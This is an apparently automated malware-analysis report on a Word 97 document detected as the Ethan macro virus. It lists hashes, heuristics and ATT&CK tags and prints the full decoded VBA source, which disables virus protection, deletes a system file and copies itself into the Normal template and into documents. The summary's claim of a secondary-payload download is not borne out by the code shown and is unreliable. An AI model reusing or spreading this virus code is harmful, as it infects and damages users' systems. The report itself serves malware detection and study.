Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4054916558f683e5…

MALICIOUS

Office (OLE)

29.5 KB Created: 1999-07-25 15:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f34b31416ca284bc104452e8d8a46ee0 SHA-1: d85310aaab2d7163f2ff3ffc4fa87b31215b97f5 SHA-256: 4054916558f683e5e57d33997a5fd3ecb70cd059d0b92100285b0bb822dd40f9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, identified by ClamAV as 'Doc.Trojan.Ethan-20'. The VBA script attempts to write its own code to 'c:\ethan.___' and potentially execute it. It also attempts to delete 'c:\class.sys' and modifies document summary information, indicating a malicious intent to download and run a secondary payload.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7262 bytes
SHA-256: 055cc2170f7fc3711e96faa5b64be919837216c12aca366dc671f563d6ce9f27
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
'W97M/Ethan Virus Source

==============================================================================
Module Name: ThisDocument (Class / ThisDocument)
------------------------------------------------------------------------------







Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
------------------------------------------------------------------------------

' Processing file: /opt/analyzer/scan_staging/897b93c3806b453493a950a870c64e5d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/ThisDocument1 - 3653 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0017 "W97M/Ethan Virus Source"
' Line #1:
' Line #2:
' 	Reparse 0x004E "=============================================================================="
' Line #3:
' 	Ld New 
' 	ArgsCall Name 0x0001 
' 	BoS 0x0000 
' 	Ld Class 
' 	Ld ThisDocument 
' 	Div 
' 	Paren 
' 	ArgsCall ThisDocument 0x0001 
' Line #4:
' 	Reparse 0x004E "------------------------------------------------------------------------------"
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' 	FuncDefn (Private Sub Document_Close())
' Line #13:
' 	OnError (Resume Next) 
' Line #14:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #15:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #16:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #17:
' 	ArgsCall Read 0x0000 
' Line #18:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #21:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #22:
' 	
... (truncated)

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